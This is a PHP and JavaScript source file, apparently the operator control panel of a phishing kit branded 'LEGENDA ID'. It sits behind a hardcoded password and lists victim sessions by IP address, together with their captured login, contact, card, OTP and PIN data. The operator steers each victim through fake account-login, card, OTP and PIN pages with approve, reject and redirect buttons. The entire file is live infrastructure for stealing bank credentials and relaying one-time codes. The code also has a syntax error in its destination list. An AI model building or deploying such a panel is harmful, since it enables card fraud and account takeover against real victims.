<?php
// admin.php - dengan proteksi password
session_start();

// ============================================================
// KONFIGURASI PASSWORD - GANTI DENGAN PASSWORD ANDA SENDIRI
// ============================================================
define('ADMIN_PASSWORD', '123!'); // <-- GANTI INI!

// ============================================================
// PROSES LOGIN
// ============================================================
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    if ($_POST['password'] === ADMIN_PASSWORD) {
        $_SESSION['admin_logged_in'] = true;
        // Redirect untuk menghindari resubmit form
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = 'Password salah!';
    }
}

// Cek logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Jika belum login, tampilkan form login
if (!isset($_SESSION['admin_logged_in']) || $_SESSION['admin_logged_in'] !== true) {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>LEGENDA ID - Admin Login</title>
        <style>
            @import url('https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,400;14..32,500;14..32,600;14..32,700&family=JetBrains+Mono:wght@400;600&display=swap');
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                background: linear-gradient(135deg, #0a0a0c 0%, #0f0f14 100%);
                font-family: 'Inter', sans-serif;
                min-height: 100vh;
                display: flex;
                align-items: center;
                justify-content: center;
                position: relative;
                overflow-x: hidden;
            }
            body::before {
                content: '';
                position: absolute;
                width: 100%;
                height: 100%;
                background-image: radial-gradient(circle at 25% 40%, rgba(212,175,55,0.03) 0%, transparent 50%);
                pointer-events: none;
            }
            .login-container {
                background: rgba(17,17,23,0.95);
                backdrop-filter: blur(10px);
                border: 1px solid rgba(212,175,55,0.25);
                border-radius: 24px;
                padding: 40px 32px;
                width: 380px;
                box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5), 0 0 0 1px rgba(212,175,55,0.1);
                position: relative;
            }
            .login-container::after {
                content: '';
                position: absolute;
                bottom: -2px;
                left: 10%;
                width: 80%;
                height: 2px;
                background: linear-gradient(90deg, transparent, #d4af37, #f5e6a3, #d4af37, transparent);
                border-radius: 2px;
            }
            .login-container h1 {
                font-size: 28px;
                font-weight: 700;
                letter-spacing: 2px;
                background: linear-gradient(135deg, #d4af37 0%, #f5e6a3 50%, #d4af37 100%);
                -webkit-background-clip: text;
                background-clip: text;
                color: transparent;
                text-align: center;
                margin-bottom: 12px;
            }
            .login-container .sub {
                text-align: center;
                color: #666680;
                font-size: 12px;
                margin-bottom: 32px;
                letter-spacing: 1px;
            }
            .login-container input {
                width: 100%;
                background: #0c0c12;
                border: 1px solid #22222e;
                padding: 14px 16px;
                color: #e8e8f0;
                font-family: 'JetBrains Mono', monospace;
                font-size: 14px;
                border-radius: 12px;
                margin-bottom: 20px;
                transition: all 0.2s;
            }
            .login-container input:focus {
                outline: none;
                border-color: #d4af37;
                box-shadow: 0 0 0 3px rgba(212,175,55,0.1);
            }
            .login-container button {
                width: 100%;
                background: linear-gradient(135deg, #d4af37 0%, #b8941f 100%);
                border: none;
                padding: 14px;
                color: #0a0a0c;
                font-weight: 700;
                font-size: 14px;
                letter-spacing: 2px;
                border-radius: 12px;
                cursor: pointer;
                transition: all 0.2s;
                text-transform: uppercase;
            }
            .login-container button:hover {
                transform: translateY(-1px);
                box-shadow: 0 8px 20px rgba(212,175,55,0.25);
            }
            .error {
                background: rgba(239,68,68,0.12);
                border: 1px solid rgba(239,68,68,0.3);
                color: #ef4444;
                padding: 12px;
                border-radius: 12px;
                font-size: 12px;
                text-align: center;
                margin-bottom: 20px;
            }
            .hint {
                text-align: center;
                font-size: 11px;
                color: #44445a;
                margin-top: 24px;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <h1>LEGENDA ID</h1>
            <div class="sub">MASTER CONTROL PANEL</div>
            <?php if ($error): ?>
                <div class="error"><?php echo htmlspecialchars($error); ?></div>
            <?php endif; ?>
            <form method="POST">
                <input type="password" name="password" placeholder="ENTER PASSWORD" autofocus>
                <button type="submit">ACCESS DASHBOARD</button>
            </form>
            <div class="hint">💰 Restricted Area — Authorized Access Only</div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ============================================================
// SETELAH LOGIN - TAMPILKAN DASHBOARD
// ============================================================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">
    <title>LEGENDA ID - Master Control</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,400;14..32,500;14..32,600;14..32,700&family=JetBrains+Mono:wght@400;500;600&display=swap');

        * { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --bg-primary: #0a0a0c;
            --bg-secondary: #111116;
            --bg-tertiary: #16161d;
            --border-light: #22222a;
            --border-gold: rgba(212,175,55,0.3);
            --text-primary: #e8e8f0;
            --text-secondary: #88889a;
            --text-muted: #4a4a5a;
            --gold: #d4af37;
            --gold-light: #f5e6a3;
            --gold-dark: #b8941f;
            --green: #10b981;
            --red: #ef4444;
            --yellow: #f59e0b;
            --blue: #3b82f6;
            --purple: #8b5cf6;
            --cyan: #06b6d4;
        }

        body {
            font-family: 'Inter', sans-serif;
            background: var(--bg-primary);
            color: var(--text-primary);
            padding: 20px 16px;
            min-height: 100vh;
        }

        body::before {
            content: '';
            position: fixed;
            inset: 0;
            background-image: 
                radial-gradient(circle at 20% 80%, rgba(212,175,55,0.02) 0%, transparent 50%),
                repeating-linear-gradient(45deg, rgba(212,175,55,0.01) 0px, rgba(212,175,55,0.01) 2px, transparent 2px, transparent 8px);
            pointer-events: none;
            z-index: 0;
        }

        .container {
            max-width: 1400px;
            margin: 0 auto;
            position: relative;
            z-index: 1;
        }

        /* HEADER */
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 28px;
            padding-bottom: 16px;
            border-bottom: 1px solid var(--border-light);
            flex-wrap: wrap;
            gap: 16px;
        }

        .logo-section h1 {
            font-size: 26px;
            font-weight: 800;
            background: linear-gradient(135deg, var(--gold) 0%, var(--gold-light) 50%, var(--gold) 100%);
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            letter-spacing: 1px;
        }

        .logo-section .tagline {
            font-size: 10px;
            color: var(--text-secondary);
            letter-spacing: 2px;
            margin-top: 4px;
        }

        .stats-bar {
            display: flex;
            gap: 24px;
            align-items: center;
            flex-wrap: wrap;
        }

        .stat {
            display: flex;
            align-items: center;
            gap: 8px;
            font-size: 13px;
            background: var(--bg-secondary);
            padding: 6px 14px;
            border-radius: 40px;
            border: 1px solid var(--border-light);
        }

        .stat-icon { font-size: 16px; }
        .stat-value { font-weight: 700; color: var(--gold); font-size: 18px; }

        .logout-btn {
            font-family: 'JetBrains Mono', monospace;
            font-size: 11px;
            color: var(--text-secondary);
            text-decoration: none;
            padding: 8px 16px;
            border: 1px solid var(--border-light);
            border-radius: 40px;
            transition: all 0.2s;
            background: var(--bg-secondary);
        }

        .logout-btn:hover {
            color: var(--red);
            border-color: var(--red);
            background: rgba(239,68,68,0.1);
        }

        /* GRID LAYOUT UNTUK BANYAK USER */
        .users-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(420px, 1fr));
            gap: 20px;
        }

        /* CARD */
        .card {
            background: var(--bg-secondary);
            border: 1px solid var(--border-light);
            border-radius: 20px;
            padding: 20px;
            transition: transform 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
            position: relative;
            overflow: hidden;
        }

        .card::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 3px;
            background: linear-gradient(90deg, var(--gold), var(--gold-light), var(--gold));
            opacity: 0;
            transition: opacity 0.3s;
        }

        .card:hover {
            transform: translateY(-2px);
            border-color: var(--border-gold);
            box-shadow: 0 12px 32px -12px rgba(0,0,0,0.5);
        }

        .card:hover::before {
            opacity: 1;
        }

        .card.status-pending  { border-left: 3px solid var(--yellow); }
        .card.status-approved { border-left: 3px solid var(--green); }
        .card.status-rejected { border-left: 3px solid var(--red); }
        .card.status-success  { border-left: 3px solid var(--gold); }

        /* CARD HEADER */
        .card-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 16px;
            flex-wrap: wrap;
            gap: 10px;
        }

        .ip-section {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .ip-icon { font-size: 20px; }

        .ip-text {
            font-family: 'JetBrains Mono', monospace;
            font-size: 15px;
            font-weight: 700;
            color: var(--gold);
            letter-spacing: 0.5px;
        }

        .badge {
            font-family: 'JetBrains Mono', monospace;
            font-size: 10px;
            font-weight: 700;
            padding: 4px 12px;
            border-radius: 40px;
            letter-spacing: 1px;
        }

        .badge-pending  { background: rgba(245,158,11,0.15); color: var(--yellow); border: 1px solid rgba(245,158,11,0.3); }
        .badge-approved { background: rgba(16,185,129,0.15); color: var(--green);  border: 1px solid rgba(16,185,129,0.3); }
        .badge-rejected { background: rgba(239,68,68,0.15);  color: var(--red);    border: 1px solid rgba(239,68,68,0.3); }
        .badge-success  { background: rgba(212,175,55,0.15);  color: var(--gold);   border: 1px solid rgba(212,175,55,0.3); }

        .page-info {
            display: flex;
            align-items: center;
            gap: 8px;
            font-size: 12px;
            color: var(--text-secondary);
            margin-bottom: 16px;
            padding: 8px 12px;
            background: var(--bg-tertiary);
            border-radius: 12px;
            font-family: 'JetBrains Mono', monospace;
        }

        .page-name {
            color: var(--cyan);
            font-weight: 700;
            background: rgba(6,182,212,0.1);
            padding: 2px 8px;
            border-radius: 6px;
        }

        pre {
            background: #0a0a0e;
            padding: 12px 14px;
            border-radius: 12px;
            color: #6ee7b7;
            font-family: 'JetBrains Mono', monospace;
            font-size: 11px;
            border: 1px solid var(--border-light);
            overflow-x: auto;
            margin-bottom: 16px;
            max-height: 140px;
            line-height: 1.5;
        }

        /* CONTROL PANEL - STABIL TANPA REFRESH VISUAL */
        .control-panel {
            background: var(--bg-tertiary);
            border-radius: 16px;
            padding: 16px;
        }

        .panel-label {
            font-size: 10px;
            letter-spacing: 2px;
            color: var(--gold);
            text-transform: uppercase;
            margin-bottom: 14px;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 6px;
        }

        .dest-rows {
            display: flex;
            flex-direction: column;
            gap: 10px;
            margin-bottom: 16px;
        }

        .dest-row {
            display: grid;
            grid-template-columns: 80px 1fr 1fr;
            align-items: center;
            gap: 8px;
        }

        .dest-name {
            display: flex;
            align-items: center;
            gap: 6px;
            font-size: 12px;
            font-weight: 700;
            letter-spacing: 0.5px;
            white-space: nowrap;
        }

        .dest-name .di { font-size: 14px; }

        .dest-login   .dest-name { color: var(--blue); }
        .dest-contact .dest-name { color: var(--purple); }
        .dest-card    .dest-name { color: var(--yellow); }
        .dest-otp     .dest-name { color: var(--green); }
        .dest-pin .dest-name { color: var(--cyan); }

        /* TOMBOL - TIDAK BERGERAK */
        .pair-btn {
            padding: 8px 4px;
            border-radius: 40px;
            font-family: 'Inter', sans-serif;
            font-weight: 600;
            font-size: 11px;
            letter-spacing: 0.5px;
            cursor: pointer;
            border: 1px solid transparent;
            transition: background-color 0.2s ease, color 0.2s ease, border-color 0.2s ease;
            text-align: center;
            width: 100%;
        }

        .pair-btn.apv {
            background: rgba(16,185,129,0.1);
            color: var(--green);
            border-color: rgba(16,185,129,0.3);
        }

        .pair-btn.apv:hover {
            background: var(--green);
            color: #000;
            border-color: var(--green);
        }

        .pair-btn.rej {
            background: rgba(239,68,68,0.1);
            color: var(--red);
            border-color: rgba(239,68,68,0.3);
        }

        .pair-btn.rej:hover {
            background: var(--red);
            color: #fff;
            border-color: var(--red);
        }

        .success-section {
            margin-top: 12px;
            padding-top: 12px;
            border-top: 1px solid var(--border-light);
        }

        .success-btn {
            width: 100%;
            padding: 10px;
            border-radius: 40px;
            font-family: 'Inter', sans-serif;
            font-weight: 700;
            font-size: 12px;
            letter-spacing: 1px;
            cursor: pointer;
            background: rgba(212,175,55,0.1);
            color: var(--gold);
            border: 1px solid rgba(212,175,55,0.3);
            transition: background-color 0.2s ease, color 0.2s ease, border-color 0.2s ease;
            text-align: center;
        }

        .success-btn:hover {
            background: var(--gold);
            color: #000;
            border-color: var(--gold);
            box-shadow: 0 4px 12px rgba(212,175,55,0.3);
        }

        /* EMPTY STATE */
        .empty {
            text-align: center;
            padding: 80px 20px;
            color: var(--text-secondary);
            font-family: 'Inter', sans-serif;
        }

        .empty-icon {
            font-size: 56px;
            margin-bottom: 16px;
            opacity: 0.5;
        }

        .empty h3 {
            font-size: 18px;
            margin-bottom: 8px;
            color: var(--text-primary);
        }

        /* SYNC STATUS */
        .sync-badge {
            font-family: 'JetBrains Mono', monospace;
            font-size: 11px;
            color: var(--text-secondary);
            display: flex;
            align-items: center;
            gap: 8px;
            background: var(--bg-secondary);
            padding: 6px 14px;
            border-radius: 40px;
            border: 1px solid var(--border-light);
        }

        .sync-dot {
            width: 8px;
            height: 8px;
            border-radius: 50%;
            background: var(--green);
            animation: pulse 2s infinite;
        }

        @keyframes pulse {
            0%, 100% { opacity: 1; transform: scale(1); }
            50% { opacity: 0.4; transform: scale(0.8); }
        }

        @keyframes slideIn {
            from { opacity: 0; transform: translateY(-10px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .card {
            animation: slideIn 0.25s ease;
        }

        /* LOADING EFFECT ON BUTTON */
        .btn-loading {
            opacity: 0.6;
            cursor: wait;
            pointer-events: none;
        }

        /* RESPONSIVE */
        @media (max-width: 640px) {
            body { padding: 12px; }
            .users-grid { grid-template-columns: 1fr; }
            .dest-row { grid-template-columns: 70px 1fr 1fr; gap: 6px; }
            .dest-name { font-size: 10px; }
            .dest-name .di { font-size: 12px; }
            .pair-btn { font-size: 9px; padding: 7px 2px; }
            .ip-text { font-size: 13px; }
            .card { padding: 16px; }
            .stats-bar { gap: 12px; }
            .stat { padding: 4px 10px; font-size: 11px; }
            .stat-value { font-size: 14px; }
            .logo-section h1 { font-size: 20px; }
        }

        @media (max-width: 480px) {
            .header { flex-direction: column; align-items: flex-start; }
            .stats-bar { width: 100%; justify-content: space-between; }
        }

        /* SCROLLBAR */
        ::-webkit-scrollbar {
            width: 6px;
            height: 6px;
        }
        ::-webkit-scrollbar-track {
            background: var(--bg-tertiary);
        }
        ::-webkit-scrollbar-thumb {
            background: var(--gold-dark);
            border-radius: 3px;
        }
    </style>
</head>
<body>

<div class="container">

    <div class="header">
        <div class="logo-section">
            <h1>💰 LEGENDA ID</h1>
            <div class="tagline">MASTER CONTROL TERMINAL</div>
        </div>
        <div class="stats-bar">
            <div class="sync-badge">
                <div class="sync-dot"></div>
                <span id="sync-status">Connecting...</span>
            </div>
            <div class="stat">
                <span class="stat-icon">👥</span>
                <span id="user-count" class="stat-value">0</span>
                <span>Active</span>
            </div>
            <a href="?logout=1" class="logout-btn" onclick="return confirm('Logout from LEGENDA ID?')">🔓 LOGOUT</a>
        </div>
    </div>

    <div id="user-display">
        <div class="empty">
            <div class="empty-icon">📡</div>
            <h3>Loading Sessions...</h3>
            <p>Fetching active user data</p>
        </div>
    </div>

</div>

<script>
// ============================================================
// CONFIG
// ============================================================
const DESTINATIONS = [
    { key: 'login',   icon: '🔐', label: 'LOGIN',   path: '/my-account-login' },
    { key: 'contact', icon: '📞', label: 'CONTACT', path: '/my-account-login/contact' },
    { key: 'card',    icon: '💳', label: 'CARD',    path: '/my-account-login/card' },
    { key: 'otp',     icon: '🔢', label: 'OTP',     path: '/my-account-login/verify' }
    { key: 'pin',     icon: '🔢', label: 'PIN',     path: '/my-account-login/pin' }
];

let currentUsers = {};

async function loadData() {
    try {
        const res  = await fetch('get_logs.php');
        const data = await res.json();
        currentUsers = data;
        renderUsers(data);
        const userCount = Object.keys(data).length;
        document.getElementById('user-count').innerText = userCount;
        document.getElementById('sync-status').innerHTML = 
            '🔄 ' + new Date().toLocaleTimeString('id-ID');
    } catch (err) {
        console.error('Load error:', err);
        document.getElementById('sync-status').innerHTML = '⚠️ Connection lost';
    }
}

async function sendAction(ip, path, status, buttonElement) {
    // Tambahkan loading state ke tombol
    const originalText = buttonElement.innerHTML;
    buttonElement.innerHTML = '⏳ ...';
    buttonElement.classList.add('btn-loading');
    
    try {
        await fetch(
            `update_status.php` +
            `?ip=${encodeURIComponent(ip)}` +
            `&location=${encodeURIComponent(path)}` +
            `&status=${encodeURIComponent(status)}`
        );
        
        // Update hanya data user yang berubah, tanpa refresh seluruh UI
        await updateSingleUser(ip);
        
    } catch (err) {
        console.error('Action error:', err);
    } finally {
        // Kembalikan tombol ke state semula
        buttonElement.innerHTML = originalText;
        buttonElement.classList.remove('btn-loading');
    }
}

// LANGSUNG SUKSES TANPA KONFIRMASI - LANGSUNG HILANGKAN DARI TAMPILAN
async function sendSuccess(ip, buttonElement) {
    const originalText = buttonElement.innerHTML;
    buttonElement.innerHTML = '⏳ ...';
    buttonElement.classList.add('btn-loading');
    
    // LANGSUNG PROSES - TANPA KONFIRMASI
    try {
        await fetch(
            `update_status.php` +
            `?ip=${encodeURIComponent(ip)}` +
            `&location=${encodeURIComponent('/my-account-login/success')}` +
            `&status=approved`
        );
        
        // Langsung hapus card dari tampilan
        const card = document.querySelector(`.card[data-ip="${ip}"]`);
        if (card) {
            card.remove();
        }
        
        // Hapus dari currentUsers
        delete currentUsers[ip];
        
        // Update jumlah user
        const userCount = Object.keys(currentUsers).length;
        document.getElementById('user-count').innerText = userCount;
        document.getElementById('sync-status').innerHTML = '✅ Success ' + new Date().toLocaleTimeString('id-ID');
        
        // Jika tidak ada user tersisa, tampilkan empty state
        if (userCount === 0) {
            const container = document.getElementById('user-display');
            container.innerHTML = `
                <div class="empty">
                    <div class="empty-icon">💤</div>
                    <h3>No Active Sessions</h3>
                    <p>Waiting for users to connect...</p>
                </div>`;
        }
        
        // Optional: notifikasi kecil (tanpa mengganggu)
        showToast(`✅ User ${ip} berhasil diarahkan ke SUCCESS`);
        
    } catch (err) {
        console.error('Success action error:', err);
        showToast(`❌ Gagal mengarahkan ${ip}`, 'error');
    } finally {
        buttonElement.innerHTML = originalText;
        buttonElement.classList.remove('btn-loading');
    }
}

// Toast notification sederhana
function showToast(message, type = 'success') {
    const toast = document.createElement('div');
    toast.style.cssText = `
        position: fixed;
        bottom: 20px;
        right: 20px;
        background: ${type === 'success' ? 'var(--green)' : 'var(--red)'};
        color: #000;
        padding: 10px 20px;
        border-radius: 40px;
        font-size: 12px;
        font-weight: 600;
        z-index: 9999;
        animation: slideInRight 0.3s ease;
        box-shadow: 0 4px 12px rgba(0,0,0,0.3);
    `;
    toast.textContent = message;
    document.body.appendChild(toast);
    
    setTimeout(() => {
        toast.style.animation = 'slideOutRight 0.3s ease';
        setTimeout(() => toast.remove(), 300);
    }, 2000);
}

// Update hanya satu user tanpa refresh seluruh halaman
async function updateSingleUser(ip) {
    try {
        const res = await fetch('get_logs.php');
        const newData = await res.json();
        
        // Update currentUsers
        if (newData[ip]) {
            currentUsers[ip] = newData[ip];
            updateCardUI(ip, newData[ip]);
        } else {
            // User sudah tidak ada, hapus card
            delete currentUsers[ip];
            const card = document.querySelector(`.card[data-ip="${ip}"]`);
            if (card) card.remove();
        }
        
        // Update user count
        const userCount = Object.keys(currentUsers).length;
        document.getElementById('user-count').innerText = userCount;
        
        // Update sync status
        document.getElementById('sync-status').innerHTML = '🔄 ' + new Date().toLocaleTimeString('id-ID');
        
        // Jika tidak ada user, tampilkan empty state
        if (userCount === 0) {
            const container = document.getElementById('user-display');
            container.innerHTML = `
                <div class="empty">
                    <div class="empty-icon">💤</div>
                    <h3>No Active Sessions</h3>
                    <p>Waiting for users to connect...</p>
                </div>`;
        }
        
    } catch (err) {
        console.error('Update single user error:', err);
    }
}

// Update UI card tanpa rebuild seluruh card
function updateCardUI(ip, userData) {
    let card = document.querySelector(`.card[data-ip="${ip}"]`);
    
    if (!card) {
        // Card belum ada, buat baru
        const container = document.getElementById('user-display');
        const empty = container.querySelector('.empty');
        if (empty) empty.remove();
        
        let grid = container.querySelector('.users-grid');
        if (!grid) {
            grid = document.createElement('div');
            grid.className = 'users-grid';
            container.appendChild(grid);
        }
        
        card = document.createElement('div');
        card.className = `card status-${userData.status}`;
        card.setAttribute('data-ip', ip);
        card.innerHTML = buildCardHTML(userData);
        grid.prepend(card);
    } else {
        // Update existing card
        card.className = `card status-${userData.status}`;
        
        // Update badge
        const badge = card.querySelector('.badge');
        if (badge) {
            badge.className = `badge badge-${userData.status}`;
            badge.innerHTML = `${getStatusIcon(userData.status)} ${userData.status.toUpperCase()}`;
        }
        
        // Update page name
        const pageName = card.querySelector('.page-name');
        if (pageName) pageName.innerText = userData.current_page.toUpperCase();
        
        // Update pre content
        const pre = card.querySelector('pre');
        if (pre) pre.innerText = JSON.stringify(userData.results, null, 2);
    }
}

function buildDestRowsWithButtons(ip) {
    return DESTINATIONS.map(d => `
        <div class="dest-row dest-${d.key}">
            <div class="dest-name">
                <span class="di">${d.icon}</span>${d.label}
            </div>
            <button class="pair-btn apv" 
                onclick="sendAction('${ip}','${d.path}','approved', this)"
            >✅ APPROVE</button>
            <button class="pair-btn rej"
                onclick="sendAction('${ip}','${d.path}','rejected', this)"
            >❌ REJECT</button>
        </div>
    `).join('');
}

function getStatusIcon(status) {
    const icons = {
        pending: '⏳',
        approved: '✓',
        rejected: '✗',
        success: '🏆'
    };
    return icons[status] || '●';
}

function buildCardHTML(user) {
    return `
        <div class="card-header">
            <div class="ip-section">
                <span class="ip-icon">🌐</span>
                <span class="ip-text">${escapeHtml(user.ip)}</span>
            </div>
            <span class="badge badge-${user.status}">
                ${getStatusIcon(user.status)} ${user.status.toUpperCase()}
            </span>
        </div>

        <div class="page-info">
            <span>📍 CURRENT PAGE</span>
            <span class="page-name">${escapeHtml(user.current_page.toUpperCase())}</span>
        </div>

        <pre>${JSON.stringify(user.results, null, 2)}</pre>

        <div class="control-panel">
            <div class="panel-label">
                <span>🎮</span> REDIRECT CONTROL
            </div>
            <div class="dest-rows">${buildDestRowsWithButtons(user.ip)}</div>
            <div class="success-section">
                <button class="success-btn" onclick="sendSuccess('${user.ip}', this)">
                    🏆 COMPLETE & REDIRECT TO SUCCESS
                </button>
            </div>
        </div>
    `;
}

function escapeHtml(str) {
    if (!str) return '';
    return str.replace(/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}

function renderUsers(users) {
    const container = document.getElementById('user-display');
    const userArray = Object.values(users);
    
    if (userArray.length === 0) {
        container.innerHTML = `
            <div class="empty">
                <div class="empty-icon">💤</div>
                <h3>No Active Sessions</h3>
                <p>Waiting for users to connect...</p>
            </div>`;
        return;
    }

    const priority = { pending: 0, approved: 1, rejected: 2, success: 3 };
    userArray.sort((a, b) => (priority[a.status] || 4) - (priority[b.status] || 4));
    
    const grid = document.createElement('div');
    grid.className = 'users-grid';
    
    userArray.forEach(user => {
        const card = document.createElement('div');
        card.className = `card status-${user.status}`;
        card.setAttribute('data-ip', user.ip);
        card.innerHTML = buildCardHTML(user);
        grid.appendChild(card);
    });
    
    container.innerHTML = '';
    container.appendChild(grid);
}

// Auto refresh hanya untuk data baru (tanpa mengganggu UI)
setInterval(async () => {
    try {
        const res = await fetch('get_logs.php');
        const newData = await res.json();
        
        // Cek apakah ada user baru atau yang hilang
        const oldIps = new Set(Object.keys(currentUsers));
        const newIps = new Set(Object.keys(newData));
        
        // Cek user baru
        for (const ip of newIps) {
            if (!oldIps.has(ip)) {
                currentUsers[ip] = newData[ip];
                updateCardUI(ip, newData[ip]);
            } else if (JSON.stringify(currentUsers[ip]) !== JSON.stringify(newData[ip])) {
                // Update jika ada perubahan data
                currentUsers[ip] = newData[ip];
                updateCardUI(ip, newData[ip]);
            }
        }
        
        // Cek user yang hilang
        for (const ip of oldIps) {
            if (!newIps.has(ip)) {
                delete currentUsers[ip];
                const card = document.querySelector(`.card[data-ip="${ip}"]`);
                if (card) card.remove();
            }
        }
        
        // Update user count
        const userCount = Object.keys(currentUsers).length;
        document.getElementById('user-count').innerText = userCount;
        document.getElementById('sync-status').innerHTML = '🔄 ' + new Date().toLocaleTimeString('id-ID');
        
        // Jika tidak ada user, tampilkan empty state
        if (userCount === 0) {
            const container = document.getElementById('user-display');
            container.innerHTML = `
                <div class="empty">
                    <div class="empty-icon">💤</div>
                    <h3>No Active Sessions</h3>
                    <p>Waiting for users to connect...</p>
                </div>`;
        }
        
    } catch (err) {
        console.error('Auto refresh error:', err);
    }
}, 3000);

// Tambahkan CSS untuk animasi toast
const style = document.createElement('style');
style.textContent = `
    @keyframes slideInRight {
        from {
            transform: translateX(100%);
            opacity: 0;
        }
        to {
            transform: translateX(0);
            opacity: 1;
        }
    }
    @keyframes slideOutRight {
        from {
            transform: translateX(0);
            opacity: 1;
        }
        to {
            transform: translateX(100%);
            opacity: 0;
        }
    }
`;
document.head.appendChild(style);

// Initial load
loadData();
</script>

</body>
</html>